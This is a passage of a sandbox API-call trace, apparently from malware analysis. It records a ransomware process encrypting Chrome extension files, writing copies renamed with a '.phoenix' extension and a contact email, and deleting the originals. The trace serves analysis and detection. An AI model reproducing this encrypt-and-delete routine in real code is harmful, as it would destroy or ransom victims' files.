	[0255.076] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.077] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.079] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0255.079] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.079] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd9, lpOverlapped=0x0) returned 1
	[0255.083] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.083] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.084] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x1513c0) returned 1
	[0255.084] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.084] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.084] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0255.084] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.085] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.085] CloseHandle (hObject=0x310) returned 1
	[0255.085] CloseHandle (hObject=0x314) returned 1
	[0255.085] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json")) returned 1
	[0255.086] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.086] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.086] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=222) returned 1
	[0255.086] CloseHandle (hObject=0x314) returned 1
	[0255.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json")) returned 0x20
	[0255.087] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.087] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.087] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.087] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.088] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x1511c0) returned 1
	[0255.088] CryptSetKeyParam (hKey=0x1511c0, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.088] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xde, lpOverlapped=0x0) returned 1
	[0255.261] CryptEncrypt (in: hKey=0x1511c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.261] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.400] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151500) returned 1
	[0255.400] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.400] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.400] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.400] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.400] CryptDestroyKey (hKey=0x1511c0) returned 1
	[0255.400] CloseHandle (hObject=0x314) returned 1
	[0255.400] CloseHandle (hObject=0x310) returned 1
	[0255.400] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_br\\messages.json")) returned 1
	[0255.402] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.402] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=215) returned 1
	[0255.402] CloseHandle (hObject=0x310) returned 1
	[0255.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 0x20
	[0255.402] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.402] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.402] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.403] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.403] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151500) returned 1
	[0255.403] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.403] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd7, lpOverlapped=0x0) returned 1
	[0255.405] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.405] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.406] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151380) returned 1
	[0255.406] CryptSetKeyParam (hKey=0x151380, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.406] CryptEncrypt (in: hKey=0x151380, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.406] CryptDestroyKey (hKey=0x151380) returned 1
	[0255.406] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.406] CryptDestroyKey (hKey=0x151500) returned 1
	[0255.406] CloseHandle (hObject=0x310) returned 1
	[0255.406] CloseHandle (hObject=0x314) returned 1
	[0255.406] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_cn\\messages.json")) returned 1
	[0255.407] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.407] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.408] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=209) returned 1
	[0255.408] CloseHandle (hObject=0x314) returned 1
	[0255.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 0x20
	[0255.408] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.408] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.408] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.408] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.408] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.409] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151040) returned 1
	[0255.409] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.409] ReadFile (in: hFile=0x314, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0xd1, lpOverlapped=0x0) returned 1
	[0255.412] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0, dwBufLen=0xe0 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0xe0) returned 1
	[0255.412] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xe0, lpOverlapped=0x0) returned 1
	[0255.413] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151300) returned 1
	[0255.413] CryptSetKeyParam (hKey=0x151300, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.413] CryptEncrypt (in: hKey=0x151300, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0255.413] CryptDestroyKey (hKey=0x151300) returned 1
	[0255.413] WriteFile (in: hFile=0x310, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0255.413] CryptDestroyKey (hKey=0x151040) returned 1
	[0255.413] CloseHandle (hObject=0x314) returned 1
	[0255.414] CloseHandle (hObject=0x310) returned 1
	[0255.414] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_tw\\messages.json")) returned 1
	[0255.415] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0255.415] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.415] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=352) returned 1
	[0255.415] CloseHandle (hObject=0x310) returned 1
	[0255.415] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json")) returned 0x20
	[0255.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0255.416] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0255.416] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.416] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0255.416] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314
	[0255.418] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151200) returned 1
	[0255.418] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.418] ReadFile (in: hFile=0x310, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x160, lpOverlapped=0x0) returned 1
	[0255.419] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170, dwBufLen=0x170 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x170) returned 1
	[0255.419] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x170, lpOverlapped=0x0) returned 1
	[0255.420] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0255.420] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0255.420] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50, dwBufLen=0x50 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x50) returned 1
	[0255.420] CryptDestroyKey (hKey=0x151040) returned 1
	[0255.420] WriteFile (in: hFile=0x314, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x102, lpOverlapped=0x0) returned 1
	[0255.421] CryptDestroyKey (hKey=0x151200) returned 1
	[0255.421] CloseHandle (hObject=0x310) returned 1
	[0255.421] CloseHandle (hObject=0x314) returned 1
	[0255.421] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\computed_hashes.json")) returned 1
